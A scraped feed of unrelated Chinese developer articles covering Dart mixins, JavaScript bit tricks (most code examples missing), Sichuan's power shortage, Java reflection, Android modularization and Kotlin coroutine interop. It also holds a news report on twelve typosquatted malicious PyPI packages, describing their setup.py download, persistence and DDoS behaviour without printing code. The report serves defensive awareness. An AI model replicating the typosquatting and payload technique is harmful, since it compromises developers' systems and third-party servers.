这样,当在 State 派生类中混入 AutomaticKeepAliveClientMixin ,根据混入类二义性的特点,对于已经覆写的方法,可以通过 super.XXX 访问混入类的功能。对于未覆写的方法,会默认走混入类方法,这样就可以形成一种 "可插拔" 的功能件。


举个更易懂的例子,如下定义一个 LogStateMixin ,对 initStatedispose 方法进行覆写并输出日志。这样在一个 State 派生类中混入 LogStateMixin 就可以不动声色地实现生命周期打印功能,不想要就不混入。对于一些逻辑相对独立,或可以进行复用的拓展功能,使用 mixin 是非常方便的。


mixin LogStateMixin<T extends StatefulWidget> on State<T> {

 @override
 void initState() {
   super.initState();
   print("====initState====");
}

 // 略其他回调...
 
 @override
 void dispose() {
   super.dispose();
   print("====dispose====");
}
}

源码中有大量的混入类应用场景,大家可以自己去发现一下。本文从更深层次,分析了混入类的来龙去脉,它和 继承接口 的差异。作为 Dart 中相对独立的概念,对混入类的理解是非常重要的,它相当于在原有的 类间六大关系 中又添加了一种。本文想说的就这么多,谢谢观看~


作者:张风捷特烈
链接:https://juejin.cn/post/7132651702980706312
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

写这么骚的代码,不怕被揍么?

web
曾经,我接手了一份大佬的代码,里面充满了各种“骚操作”,还不加注释那种,短短几行的函数花了很久才弄懂。这世上,“只有魔法才能对抗魔法”,于是后来,翻阅各种“黑魔法”的秘籍,总结了一些比较实用的“骚操作”,让我们装X的同时,提升代码运行的效率(请配合健身房一起使...
继续阅读 »

曾经,我接手了一份大佬的代码,里面充满了各种“骚操作”,还不加注释那种,短短几行的函数花了很久才弄懂。


这世上,“只有魔法才能对抗魔法”,于是后来,翻阅各种“黑魔法”的秘籍,总结了一些比较实用的“骚操作”,让我们装X的同时,提升代码运行的效率(请配合健身房一起使用)。


位运算

JavaScript 中最臭名昭著的 Bug 就是 0.1 + 0.2 !== 0.3,因为精度的问题,导致所有的浮点运算都是不安全的。


因此,之前有大牛提出,不要在 JS 中使用位运算:

Javascript 完全套用了 Java 的位运算符,包括按位与&、按位或|、按位异或^、按位非~、左移<<、带符号的右移>>和用0补足的右移>>>。这套运算符针对的是整数,所以对 JavaScript 完全无用,因为 JavaScript 内部,所有数字都保存为双精度浮点数。如果使用它们的话,JavaScript 不得不将运算数先转为整数,然后再进行运算,这样就降低了速度。而且按位与运算符&同逻辑与运算符&&,很容易混淆。


但是在我看来,如果对 JS 的运用达到炉火纯青的地步,能避开各种“Feature”的话,偶尔用一下位运算符也无所谓,还能提升运算性能,毕竟直接操作的是计算机最熟悉的二进制。


1. 使用左移运算符 << 迅速得出2的次方



2. 使用 ^ 切换变量 0 或 1



3. 使用 & 判断奇偶性

偶数 & 1 = 0

奇数 & 1 = 1


4. 使用 !! 将数字转为布尔值

所有非0的值都是true,包括负数、浮点数:

5. 使用~、>>、<<、>>>、|来取整

相当于使用了 Math.floor()



注意 >>> 不可对负数取整



6. 使用^来完成值交换

这个符号的用法前面提到过,下面介绍一些高级的用法,在 ES6 的解构赋值出来之前,用这种方式会更快(但必须是整数):



7. 使用^判断符号是否相同





8. 使用^来检查数字是否不相等





9. n & (n - 1),如果为 0,说明 n 是 2 的整数幂



10. 使用 A + 0.5 | 0 来替代 Math.round()


如果是负数,只需要-0.5


String

1. 使用toString(16)取随机字符串



.substring() 的第二个参数控制取多少位 (最多可取13位)


2. 使用 split(0)

使用数字来做为 split 的分隔条件可以节省2字节



3. 使用.link() 创建链接

一个鲜为人知的方法,可以快速创建 a 标签




3. 使用 Array 来重复字符



其他一些花里胡哨的操作

1. 使用当前时间创建一个随机数


2. 一些可以替代 undefined 的操作

(1)._1.._  0[0]


2. void 0 会比写 undefined 要快一些





3.使用 1/0 来替代 Infinity



4.使用 Array.length = 0 来清空数组



5.使用 Array.slice(0) 实现数组浅拷贝


6.使用 !+\v1 快速判断 IE8 以下的浏览器

谷歌浏览器:



7. for 循环条件的简写



结尾

虽然上述操作能在一定程度上使代码更简洁,但会降低可读性。在目前的大环境下,机器的性能损失远比不上人力的损失,因为升级机器配置的成本远低于维护晦涩代码的成本,所以请谨慎使用这些“黑魔法”。就算要使用,也请加上注释,毕竟,这世上还有很多“麻瓜”需要生存。


还有一些其他骚操作,可以参考这位大神总结的 《Byte-saving Techniques》,有些很常见,有些使用环境苛刻,这里就不一一列出了。

最后,来一个彩蛋,在控制台输入:


如果以后有人喷你的代码,你就可以将此代码发给他。


来源:juejin.im/post/5e044eb5f265da33b50748c8



收起阅读 »

水电大省四川热到缺电!宁德时代都被迫停产了

这大概是最近南方朋友们出门之后的唯一感想了。后脚更严重的情况发生在四川:因为持续高温,蜀地“电量电力双缺”,甚至不得不对工业用户开启了限电模式。但说起来,四川可是水电大省啊。并且水力发电向来有“夏丰冬枯”的说法。水电大省为何缺电?同时四川也是全国水电第一大省,...
继续阅读 »

热热热!

这大概是最近南方朋友们出门之后的唯一感想了。

前有江苏最高地表温度飙至72℃,把地里的火龙果都给烤熟了。

后脚更严重的情况发生在四川:因为持续高温,蜀地“电量电力双缺”,甚至不得不对工业用户开启了限电模式。


但说起来,四川可是水电大省啊。

从2021年的数据来看,四川水电装机容量达8947.0万千瓦,位居全国第一。

并且水力发电向来有“夏丰冬枯”的说法。

怎么这个时候,会出现供电紧张的情况?

水电大省为何缺电?

靠着丰富的自然资源,四川的能源结构以水电为主,占全省发电量的70%-80%。

同时四川也是全国水电第一大省,据四川省统计局,2021年末四川水力发电量3531.4亿千瓦时,水电装机容量和年发电量均居全国第一。


根据往年经验,从5-6月开始直到9-10月四川都是丰水期。

此时往往供电大于用电,甚至还会出现被迫“弃水弃电”的情况:水电站储存不下的多余水量只能放弃。据国家能源局消息,2016-2020年四川年均弃水电量超100亿千瓦时。

今年最大的变数是异常高温、干旱。

首先高温会造成居民用电量激增,预计全省最大用电负荷将比去年同期增加25%。

再者今年平均降水量较常年少了51%,为历史同期最少。据国网四川省电力公司消息,干旱造成水电日发电量大幅下降,供电支撑能力大幅下跌。

两者叠加的局面,使电力保供形势十分严峻,而高温天气预计还将持续一周左右。


值得注意的是,四川还有“外送履约执行”的压力。

四川是“西电东送”的重要输出端,电力输送区域包括华东、西北、华北、华中和重庆等。这部分外送的电量是有固定分配比例的。

目前,针对这一问题,四川省已经向省外求援。

据川观新闻消息,四川跨省跨区所有通道已最大化利用,同时增大水电留川规模,大幅削减四川低谷年度外送计划电力。但目前所有电力入川通道已全部满载运行,组织省外电力支援难度增大。

最后还有一点,极端天气除了增加用电负荷,也让电网设备运行环境温度增加,发生故障的概率随之增大,给电力公司的检修工作带来更大压力。

限电影响大吗?

备受关注的是,这次一限电,不少在能源供应大省“安营扎寨”的企业受到了波及。


在四川重点发展的五类企业(电子信息、装备制造、食品饮料、先进材料、能源化工)中,尤以能源化工和电子信息企业受到关注。


图源四川省人民政府

这也与四川出产的战略资源有关:多晶硅、锂矿、稀土、石墨、钒钛……

多晶硅,生产光伏组件、半导体电子的关键原材料。据澎湃新闻介绍,四川多晶硅产量则约占全国产量的13%,截至2021年,四川省内已建成和在建高纯晶硅、拉棒切方、电池片等项目投资超1000亿元。

锂矿,新能源汽车所用电池的重要构成材料之一。据国泰君安介绍,四川地区锂盐产能占比全国锂盐产能接近30%。

由此,限电给企业带来的影响也分为两方面。

一方面,上游的原材料生产企业受到影响。

据华尔街见闻介绍,SMM估算此次限电会导致四川的碳酸锂产量减少约1120吨,占行业比重3%;氢氧化锂产量减少约1690吨,占行业比重约8%。

除了锂与多晶硅以外,一些原材料生产厂商也给出了预计影响的产量。

如据澎湃新闻介绍,四川美丰表示,本次临时停产预计将影响尿素产量约1.5万吨、复合肥产量约0.6万吨。四川绵竹川润化工有限公司,预计将减少锌合金产量约0.1万吨、磷化工产品产量约0.4万吨、合成氨产量0.2万吨。


另一方面,材料上涨的同时、限电导致的产量下降,又会给下游的产业带来进一步影响。

例如,给新能源汽车生产锂电池的工厂宁德时代

据界面新闻消息,宁德时代四川宜宾工厂已经限电停产。

此前,宁德时代宜宾基地第一、二、三、五、六期已建成投运,第七和第八期开工建设,产能达75GWh。若以每辆新能源车搭载50KWh(千瓦时)电量计算,75GWh的动力电池可配套150万辆新能源车。

另外,四川作为电子产业重镇,2019年全省电子信息产业主营业务收入首次突破万亿大关,达10259.9亿元,为全省第一支柱产业,涉及PC产业链、通讯设备、芯片等电子硬件设备制造更是贡献一半以上的收入。

包括英特尔、富士康等与半导体相关的电子信息企业,在四川也均建有工厂。

不过,富士康方面回应中国证券报称,目前对公司运营影响不大。

而郭明錤表示,四川的临时限电可能会影响成都(富士康)和重庆(仁宝)的iPad组装厂。虽然目前很难评估对生产的影响,但如果停电可以在8月20日结束,影响应该是有限的。

与此同时,也有专家认为,这样的限电停产带来的影响是可控的。

比如,在接受澎湃新闻采访时,中国有色金属硅业分会专家委副主任吕锦标表示,本轮四川停限电政策对硅料整体产量影响不大:

只是减负荷,没有停车,系统物料仍然循环。当地主要的三家硅料生产商都很成熟,恢复起来很快。

四川限电减少的硅料供应量不大,不足以影响供求关系,目前新增产能释放,零售市场供需关系得以改善,但需要呼吁长单采购的龙头企业不要再到零售市场抢货,要不然还是会引发价格上扬。

参考链接:
[1]**https://www.sc.gov.cn/10462/10464/10797/2018/7/4/10454397.shtml
[2]**https://m.jiemian.com/article/7920810.html
[3]**https://www.sc.gov.cn/10462/10464/10797/2022/5/16/e8018d148c7149a484d81ba01394261c.shtml
[4]**http://www.nea.gov.cn/2022-07/08/c_1310639564.htm
[5]**https://mp.weixin.qq.com/s/Pt2CgRfW6N-WRcXo6Zp2IQ
[6]**https://ishare.ifeng.com/c/s/v0042lTJmoiuFAeZHmeeSFWhFg4KLfLJGFyHzqutC4Ggh8k__

来源:量子位

收起阅读 »

反射技巧让你的性能提升N倍

在之前的文章和视频中我们拆分了不同的场景对比反射的性能。文字版: 侧重于细节上的知识点更多、更加详细,揭秘反射真的很耗时吗,射 10 万次耗时多久视频版: 通过动画展示讲解,更加的清楚、直观,视频版本 bilibili 地址: https://www.bili...
继续阅读 »

在之前的文章和视频中我们拆分了不同的场景对比反射的性能。

在之前的文章中提到了一个提升性能非常重要的点,将 Accessible 设置 true 反射速度会进一步提升,如果单看一个程序,可能这点性能微不足道,但是如果放在一个大的复杂的工程下面,运行在大量的低端机下,一行代码提升的性能,可能比你写 100 行代码提升的性能更加显著。

而今天这篇文章从源码的角度分析一下 isAccessible() 方法的作用,为什么将 Accessible 设置为 true 可以提升性能,在开始分析之前,我们先写一段代码。

  • 声明一个普通类,里面有个 public 方法 getName()private 方法 getAddress()

class Person {
   public fun getName(): String {
       return "I am DHL"
  }
   
   private fun getAddress(): String {
       return "BJ"
  }
}
  • 通过反射获取 getName()getAddress() 方法,花 3 秒钟思考一下,下面的代码输出的结果

// public 方法
val method1 = Person::class.declaredFunctions.find { it.name == "getName" }
println("access = ${method1?.isAccessible}")

// private 方法
val method2 = Person::class.declaredFunctions.find { it.name == "getAddress" }
println("access = ${method2?.isAccessible}")

无论是调用 public getName() 方法还是调用 private getAddress() 方法,最后输出的结果都为 false,通过这个例子也间接说明了 isAccessible() 方法并不是用来表示访问权限的。

当我们通过反射调用 private 方法时,都需要执行 setAccessible() 方法设置为 true, 否者会抛出下面的异常。

java.lang.IllegalAccessException: can not access a member of class com.hi.dhl.demo.reflect.Person

如果通过反射调用 public 方法,不设置 Accessibletrue,也可以正常调用,所以有很多小伙伴认为 isAccessible() 方法用来表示访问权限,其实这种理解是错误的。

我们一起来看一下源码是如何解释的,方法 isAccessible() 位于 AccessibleObject 类中。

public class AccessibleObject implements AnnotatedElement {
   ......
   // NOTE: for security purposes, this field must not be visible
   boolean override;
   
   public boolean isAccessible() {
       return override;
  }
   
   public void setAccessible(boolean flag) throws SecurityException {
      ......
  }
   ......
}

AccessibleObjectFieldMethodConstructor 的父类,调用 isAccessible() 返回 override 的值,而字段 override 主要判断是否要进行安全检查。

字段 overrideAccessibleObject 子类当中使用,所以我们一起来看一下它的子类 Method

public Object invoke(Object obj, Object... args){
   // 是否要进行安全检查
   if (!override) {
       // 进行快速验证是否是 Public 方法
       if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
           // 返回调用这个方法的 Class
           Class<?> caller = Reflection.getCallerClass();
           // 做权限访问的校验,缓存调用这个方法的 Class,避免下次在做检查
           checkAccess(caller, clazz, obj, modifiers);
      }
  }
  ......
   return ma.invoke(obj, args);
}

字段 override 提供给子类去重写,它的值决定了是否要进行安全检查,如果要进行安全检查,则会执行 quickCheckMemberAccess() 快速验证是否是 Public 方法,避免调用 getCallerClass()

  • 如果是 Public 方法,避免做安全检查,所以我们在代码中不调用 setAccessible(true) 方法,也不会抛出异常

  • 如果不是 Public 方法则会调用 getCallerClass() 获取调用这个方法的 Class,执行 checkAccess() 方法进行安全检查。

// it is necessary to perform somewhat expensive security checks.
// A more complicated security check cache is needed for Method and Field
// The cache can be either null (empty cache)
volatile Object securityCheckCache; // 缓存调用这个方法的 Class

void checkAccess(Class<?> caller, Class<?> clazz, Object obj, int modifiers){
   ......
   Object cache = securityCheckCache;  // read volatile
   
   if(cache == 调用这个方法的 Class){
       return;     // ACCESS IS OK
  }
   
   slowCheckMemberAccess(caller, clazz, obj, modifiers, targetClass);
   ......
}

void slowCheckMemberAccess(Class<?> caller, Class<?> clazz, Object obj, int modifiers,Class<?> targetClass){
   Reflection.ensureMemberAccess(caller, clazz, obj, modifiers);
   Object cache = 调用这个方法的 Class
   securityCheckCache = cache;         // 缓存调用这个方法的 Class
}

源码中注释也说明了,如果要进行安全检查那么它的代价是非常昂贵的,所以用变量 securityCheckCache 缓存调用这个方法的 Class。如果下次使用相同的 Class,就不需要在做安全检查,但是这个缓存有个缺陷,如果换一个调用这个方法的 Class,需要再次做安全检查,并且会覆盖之前的缓存结果。

如果要在运行时修改属性或者调用某个方法时,都要进行安全检查,而安全检查是非常消耗资源的,所以 JDK 提供了一个 setAccessible() 方法,可以绕过安全检查,让开发者自己来决定是否要避开安全检查。

因为反射本身是非常慢的,如果能够避免安全检查,可以进一步提升性能,在之前的文章 揭秘反射真的很耗时吗,射 10 万次耗时多久,针对不同场景,分别测试了反射前后以及关闭安全检查的耗时。

正常调用反射反射优化后反射优化后关掉安全检查
创建对象0.578 ms/op4.710 ms/op1.018 ms/op0.943 ms/op
方法调用0.422 ms/op10.533 ms/op0.844 ms/op0.687 ms/op
属性调用0.241 ms/op12.432 ms/op1.362 ms/op1.202 ms/op
伴生对象0.470 ms/op5.661 ms/op0.840 ms/op0.702 ms/op

从测试结果可以看出来,执行 setAccessible() 方法,设置为 true 关掉安全检查之后,反射速度得到了进一步的提升,更接近于正常调用。


作者:程序员DHL
来源:https://juejin.cn/post/7121901090332737572

收起阅读 »

PyPi存储库遭恶意利用,尽快删除这12个病毒包!

8月14日,Checkmarx(一家以色列高科技软件公司,世界上知名的代码安全扫描软件 Checkmarx CxSAST 的生产商)的研究人员发现,一位名为“devfather777”的网友发布了 12 个软件包,这些软件包被上传到 PyPi 存储库,并使用与...
继续阅读 »

8月14日,Checkmarx(一家以色列高科技软件公司,世界上知名的代码安全扫描软件 Checkmarx CxSAST 的生产商)的研究人员发现,一位名为“devfather777”的网友发布了 12 个软件包,这些软件包被上传到 PyPi 存储库,并使用与其他流行软件包相似的名称来诱骗软件开发人员使用恶意版本,进而对俄罗斯反恐精英(Counter-Strike)1.6 服务器执行 DDoS 的仿冒攻击。

1 恶意仿冒活动

此次排版攻击依赖于开发人员使用错误的名称,导致使用了与合法软件包相似的恶意软件包。例如,此活动中的一些包及其合法对应包(括号中)是 Gesnim (Gensim)、TensorFolw (TensorFlow) 和 ipaddres (ipaddress)。


2 恶意软件包仍在 PyPi 上

上传的恶意 PyPi 包的完整列表是:

  • Gesnim

  • Kears

  • TensorFolw

  • Seabron

  • tqmd

  • lxlm

  • mokc

  • ipaddres

  • ipadress

  • falsk

  • douctils

  • inda

由于软件开发人员通常通过终端获取这些包,因此很容易以错误的顺序输入其名称和字母。由于下载和构建按预期继续,受害者没有意识到错误并感染了他们的设备。

虽然 CheckMarx 向 PyPi 存储库报告了这些包,但在撰写本文时它们仍然在线。

3 定位 CounterSrike 服务器

在他们的应用程序中下载并使用这些恶意 Python 包之一后,setup.py 中的嵌入代码会运行以确认主机是 Windows 系统,如果是,它会从 GitHub 下载有效负载 (test.exe)。


隐藏在设置脚本中的代码 (Checkmarx)

在 VirusTotal(免费的可疑文件分析服务的网站)上扫描时,69 个防病毒引擎中只有 11 个将文件标记为恶意文件,因此它是一种用 C++ 编写的相对较新/隐蔽的恶意软件。

该恶意软件会自行安装并创建一个启动条目以在系统重新启动之间保持持久性,同时它还注入一个过期的系统范围的根证书。

接下来,它连接到硬编码的 URL 以接收其配置。如果第三次尝试失败,它会寻找对发送到 DGA(域生成算法)地址的 HTTP 请求的响应。

“这是我们第一次在软件供应链生态系统中看到恶意软件(菌株)使用 DGA,或者在这种情况下,使用 UGA 为恶意活动的新指令分配生成的名称,”Checkmarx 在报告中评论道。


攻击流程图 (Checkmarx)

在分析师观察到的案例中,配置命令恶意软件将主机招募到 DDoS 机器人中,该机器人开始向反恐精英(CounterStrike)1.6 服务器发送流量。

目标似乎是通过感染足够多的设备来关闭 Counter-Strike 服务器,以使发送的流量使服务器不堪重负。

用于托管恶意软件的 GitHub 存储库已被删除,但攻击者可以通过滥用不同的文件托管服务来恢复恶意操作。

如果你使用了上面提到的 12 个软件包,并且可能出现了打字错误,一定要仔细检查你的项目,确认是否使用了合法的软件包。

4 影响

Pypi 被恶意攻击已非个例。早在今年 6 月,PyPi python 包就被曝发现将被盗的 AWS 密钥发送到不安全的站点。8 月 9 日,又有威胁分析人员在 PyPI 存储库中发现了 10 个恶意 Python 包,它们被用于窃取密码的恶意软件进而感染正在开发的系统。

Python Package Index (PyPi) 是一个包含超过 350000 个开源软件包的存储库,数百万开发人员可以轻松地将其整合到他们的 Python 项目中,以最小的努力构建复杂的应用程序。

由于开源,软件开发人员经常使用它来挑选基于 Python 的项目的构建块,或者与社区分享他们的工作。

但是,由于任何人都可以将包上传到存储库,并且包不会被删除,除非它们被报告为恶意,因此存储库更常被威胁者滥用,他们使用它来窃取开发人员凭据或部署恶意软件。虽然 PyPi 可以快速响应平台上的恶意包报告,但在提交之前由于缺少强有力的审查,因此危险包可能会潜伏一段时间。

参考链接:

https://medium.com/checkmarx-security/typosquatting-campaign-targeting-12-of-pythons-top-packages-downloading-malware-hosted-on-github-9501f35b8efb

作者:云昭

收起阅读 »

Android 官方项目是怎么做模块化的?快来学习下

概述模块化是将单一模块代码结构拆分为高内聚内耦合的多模块的一种编码实践。模块化的好处模块化有以下好处:可扩展性:在高耦合的单一代码库中,牵一发而动全身。模块化项目当采用关注点分离原则。这会赋予了贡献者更多的自主权,同时也强制执行架构模式。支持并行工作:模块化有...
继续阅读 »

概述

模块化是将单一模块代码结构拆分为高内聚内耦合的多模块的一种编码实践。

模块化的好处

模块化有以下好处:

  • 可扩展性:在高耦合的单一代码库中,牵一发而动全身。模块化项目当采用关注点分离原则。这会赋予了贡献者更多的自主权,同时也强制执行架构模式。
  • 支持并行工作:模块化有助于减少代码冲突,为大型团队中的开发人员提供更高效的并行工作。
  • 所有权:一个模块可以有一个专门的 owner,负责维护代码和测试、修复错误和审查更改。
  • 封装:独立的代码更容易阅读、理解、测试和维护。
  • 减少构建时间:利用 Gradle 的并行和增量构建可以减少构建时间。
  • 动态交付:模块化是 Play 功能交付 的一项要求,它允许有条件地交付应用程序的某些功能或按需下载。
  • 可重用性:模块化为代码共享和构建多个应用程序、跨不同平台、从同一基础提供了机会。

模块化的误区

模块化也可能会被滥用,需要注意以下问题:

  • 太多模块:每个模块都有其成本,如 Gradle 配置的复杂性增加。这可能会导致 Gradle 同步及编译时间的增加,并产生持续的维护成本。此外,与单模块相比,添加更多模块会增加项目 Gradle 设置的复杂性。这可以通过使用约定插件来缓解,将可重用和可组合的构建配置提取到类型安全的 Kotlin 代码中。在 Now in Android 应用程序中,可以在 build-logic文件夹 中找到这些约定插件。
  • 没有足够的模块:相反,如果你的模块很少、很大并且紧密耦合,最终会产生另外的大模块。这将失去模块化的一些好处。如果您的模块臃肿且没有单一的、明确定义的职责,您应该考虑将其进一步拆分。
  • 太复杂了:模块化并没有灵丹妙药 -- 一种方案解决所有项目的模块化问题。事实上,模块化你的项目并不总是有意义的。这主要取决于代码库的大小和相对复杂性。如果您的项目预计不会超过某个阈值,则可扩展性和构建时间收益将不适用。

模块化策略

需要注意的是没有单一的模块化方案,可以确保其对所有项目都适用。但是,可以遵循一般准则,可以尽可能的享受其好处并规避其缺点。

这里提到的模块,是指 Android 项目中的 module,通常会包含 Gradle 构建脚本、源代码、资源等,模块可以独立构建和测试。如下:

一般来说,模块内的代码应该争取做到低耦合、高内聚。

  • 低耦合:模块应尽可能相互独立,以便对一个模块的更改对其他模块的影响为零或最小。他们不应该了解其他模块的内部工作原理。
  • 高内聚:一个模块应该包含一组充当系统的代码。它应该有明确的职责并保持在某些领域知识的范围内。例如,Now in Android 项目中的core-network模块负责发出网络请求、处理来自远程数据源的响应以及向其他模块提供数据。

Now in Android 项目中的模块类型

注:模块依赖图(如下)可以在模块化初期用于可视化各个模块之间的依赖关系。

modularization-graph.png

Now in Android 项目中有以下几种类型的模块:

  • app 模块: 包含绑定其余代码库的应用程序级和脚手架类,app例如和应用程序级受控导航。一个很好的例子是通过导航设置和底部导航栏设置。该模块依赖于所有模块和必需的模块。
  • feature- 模块: 功能特定的模块,其范围可以处理应用程序中的单一职责。这些模块可以在需要时被任何应用程序重用,包括测试或其他风格的应用程序,同时仍然保持分离和隔离。如果一个类只有一个feature模块需要,它应该保留在该模块中。如果不是,则应将其提取到适当的core模块中。一个feature模块不应依赖于其他功能模块。他们只依赖于core他们需要的模块。
  • core-模块:包含辅助代码和特定依赖项的公共库模块,需要在应用程序中的其他模块之间共享。这些模块可以依赖于其他核心模块,但它们不应依赖于功能模块或应用程序模块。
  • 其他模块 - 例如和模块syncbenchmark、 test以及 app-nia-catalog用于快速显示我们的设计系统的目录应用程序。

项目中的主要模块

基于以上模块化方案,Now in Android 应用程序包含以下模块:

模块名职责关键类及核心示例
app将应用程序正常运行所需的所有内容整合在一起。这包括 UI 脚手架和导航。NiaApp, MainActivity 应用级控制导航通过 NiaNavHost, NiaTopLevelNavigation
feature-1, feature-2 ...与特定功能或用户相关的功能。通常包含从其他模块读取数据的 UI 组件和 ViewModel。如:feature-author在 AuthorScreen 上显示有关作者的信息。feature-foryou它在“For You” tab 页显示用户的新闻提要和首次运行期间的入职。AuthorScreen AuthorViewModel
core-data保存多个特性模块中的数据。TopicsRepository AuthorsRepository
core-ui不同功能使用的 UI 组件、可组合项和资源,例如图标。NiaIcons NewsResourceCardExpanded
core-common模块之间共享的公共类。NiaDispatchers Result
core-network发出网络请求并处理对应的结果。RetrofitNiANetworkApi
core-testing测试依赖项、存储库和实用程序类。NiaTestRunner TestDispatcherRule
core-datastore使用 DataStore 存储持久数据。NiaPreferences UserPreferencesSerializer
core-database使用 Room 的本地数据库存储。NiADatabase DatabaseMigrations Dao classes
core-model整个应用程序中使用的模型类。Author Episode NewsResource
core-navigation导航依赖项和共享导航类。NiaNavigationDestination

Now in Android 的模块化

Now in Android 项目中的模块化方案是在综合考虑项目的 Roadmap、即将开展的工作和新功能的情况下定义的。Now in Android 项目的目标是提供一个接近生产环境的大型 App 的模块化方案,并且要让方案看起来并没有过度模块化,希望是在两者之间找到一种平衡。

这种方法与 Android 社区进行了讨论,并根据他们的反馈进行了改进。这里并没有一个绝对的正确答案。归根结底,模块化 App 有很多方法和方法,没有唯一的灵丹妙药。这就需要在模块化之前考虑清楚目标、要解决的问题已经对后续工作的影响,这些特定的情况会决定模块化的具体方案。可以绘制出模块依赖关系图,以便帮助更好地分析和规划。

这个项目就是一个示例,并不是一个需要固守不可改变固定结构,相反而是可以根据需求就行变化的。根据 Now in Android 这是我们发现最适合我们项目的一般准则,并提供了一个示例,可以在此基础上进一步修改、扩展和构建。如果您的数据层很小,则可以将其保存在单个模块中。但是一旦存储库和数据源的数量开始增长,可能值得考虑将它们拆分为单独的模块。

最后,官方对其他方式的模块化方案也是持开发态度,有更好的方案及建议也可以反馈出来。

总结

以上内容是根据 Modularization learning journey 翻译整理而得。整体上是提供了一个示例,对一些初学者有一个可以参考学习的工程,对社区中模块化开发起到的积极的作用。说实话,这部分技术在国内并不是什么新技术了。

下面讲一个我个人对这个模块化方案的理解,以下是个人观点,请批判性看待。

首先是好的点提供了通用的 Gradle 配置,简化了各个模块的配置步骤,各种方式预计会在之后的一些项目中流行开来。

不足的点就是没有明确模块化的整体策略,是应采取按照功能还是按照特性分,类似讨论还有我们平时的类文件是按照功能来分还是特性来分,如下是按照特性区分:

# DO,建议方式
- Project
- feature1
- ui
- domain
- data
- feature2
- ui
- domain
- data
- feature3

按照功能区分的方式大致如下:

# DO NOT,不建议方式
- Project
- ui
- feature1
- feature2
- feature3
- domain
- feature1
- feature2
- feature3
- data

我个人是倾向去按照特性的方式区分,而示例中看上去是偏后者,或者是一个混合体,比如有的模块是添加 feature 前缀的,但是 core-model 模块又是在统一的一个模块中集中管理。个人建议的方式应该是将各个模块中各自使用的模型放到自己的模块中,否则项目在后续进行组件化时将会遇到频繁发版的问题。当然,这种方式在模块化的阶段并没有什么大问题。

模块化之后就是组件化,组件化之后就是壳工程,每个技术阶段对应到团队发展的阶段,有机会的话后面可以展开聊聊。


作者:madroid
链接:https://juejin.cn/post/7128069998978793509
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

Kotlin 协程如何与 Java 进行混编?

问题 在 Java 与 Kotlin 混编项目中大概率是会遇到 Kotlin 线程的使用问题。协程的混编相对于其他特性的使用上会相对麻烦而且比较容易踩坑。我们以获取 token 来举例,比如有一个获取 token 的 suspend 函数: // 常规的 su...
继续阅读 »

问题


在 Java 与 Kotlin 混编项目中大概率是会遇到 Kotlin 线程的使用问题。协程的混编相对于其他特性的使用上会相对麻烦而且比较容易踩坑。我们以获取 token 来举例,比如有一个获取 token 的 suspend 函数:


// 常规的 suspend 函数,可以供 Kotlin 使用,Java 无法直接使用
suspend fun getTokenSuspend(): String {
// do something too long
return "Token"
}

想要在 Java 中直接调用则会产出如下错误:


image.png


了解 Kotlin 协程机制的同学应该知道 suspend 修饰符在 Kotlin 编译器期会被处理成对应的 Continuation 类,这里不展开讨论。


这个问题也可以使用简单的方式进行解决,那就是使用 runBlocking 进行简单包装一下即可。


使用 runBlocking 解决


一般情况下我们可能会使用以下代码解决上述问题。定义的 Kotlin 协程代码如下:


// 提供给 Java 使用的封装函数,Java 代码可以直接使用
fun getTokenBlocking(): String =runBlocking{// invoke suspend fun
getTokenSuspend()
}

在 Java 层代码的使用方式大致如下:


public void funInJava() {
String token = TokenKt.getTokenBlocking();
}

看上去方案比较简单,但是直接使用 runBlocking 也会存在一些隐患。 runBlocking 会阻塞当前调用者的线程,如果是在主线程进行调用的话,会导致 App 卡顿,严重的会导致 ANR 问题。那有没有比 runBlocking 更合理的解决方案呐?


回答这个问题之前,先梳理下 Java 与 Kotlin 两种语言在处理耗时函数的一般做法。


Java & Kotlin 耗时函数的一般定义


Java



  • 靠语义约束。比如定义的函数名中 sync 修饰,表明他可能是一个耗时的函数,更好的还会添加 @WorkerThread 注解,让 lint 帮助使用者去做一些检查,确保不会在主线程中去调用一些耗时函数导致页面卡顿。

  • 靠语法约束,定义 Callback。将耗时的函数执行放到一个单独的线程中执行,然后将回调的结果通过 Callback 的形式返回。这种方式无论调用者是什么水平,代码质量都不会有问题;


Kotlin



  • 靠语义约束,同 Java

  • 添加 suspend 修饰,靠语法约束。内部耗时函数切到子线程中执行。外部调用者使用同步的方式调用耗时函数却不会阻塞主线程(这也是 Kotlin 协程主要宣传的点)。


在 Java 与 Kotlin 混编的项目中,上述情况的复杂度将会上升。


使用 CompletableFuture 解决


在审视一下 runBlocking 的使用问题,这种做法是将 Kotlin 中的语法约束退化到语义约束层面了,有的可能连语义层面的约束都没有,这种情况只能祈求调用者的使用是正确的 -- 在子线程调用,而不是在主线程调用。那应该如何怎么处理,就是采用回调的方式,让语法能够规避的问题就不要采用语义来处理。


suspend fun getToken(): String {
// do something too long
return "Token"
}

fun getTokenFuture(): CompletableFuture<String> {
returnCoroutineScope(Dispatchers.IO).future{getToken()}
}

注意:future 是 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8 包中提供的工具类,基于 CoroutineScope 定义的扩展函数,使用时需要导入依赖包。


Java 中的使用方式如下:


public void funInJava() {
try {
// 通过 Future get() 显示调用 getTokenFuture 函数
TestKt.getTokenFuture().get();
} catch (ExecutionException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}

可能会问这里看上去和直接在函数内部使用 runBlocking 没有太大的区别,反而使用上会更麻烦些。的确是这样的,这样的目的是把选择权交给调用者,或者说让调用者显示的知道这不是一个简单的函数,从而提高其在使用 API 时的警惕度,也就是之前提到的从语法层面对 API 进行约束。


退一步说,上述的内容是针对的仅仅是“不得不”这么做的场景,但是对于大部分场景都是可以通过合理的设计来避免出现上述情况:



  • 底层定义的 suspend 函数可以在上层的 ViewModel 中的 viewModelScope 中调用解决;

  • 统一对外暴露的 API 是 Java 类的话,新增的 API 提供可以使用 suspend 类型的扩展函数,使用 suspend 类型对外暴露;

  • 如果明确知道调用者是 Java 代码,那么请提供 Callback 的 API 定义;


总结


尽量使用合理的设计来尽量规避 Kotlin 协程与 Java 混用的情况,在 API 的定义上语法约束优先与语义约束,语义约束优于没有任何约束。当然在特殊的情况下也可以使用 CompletableFuture API 来封装协程相关 API。


下面对几种常见场景推荐的一些写法:



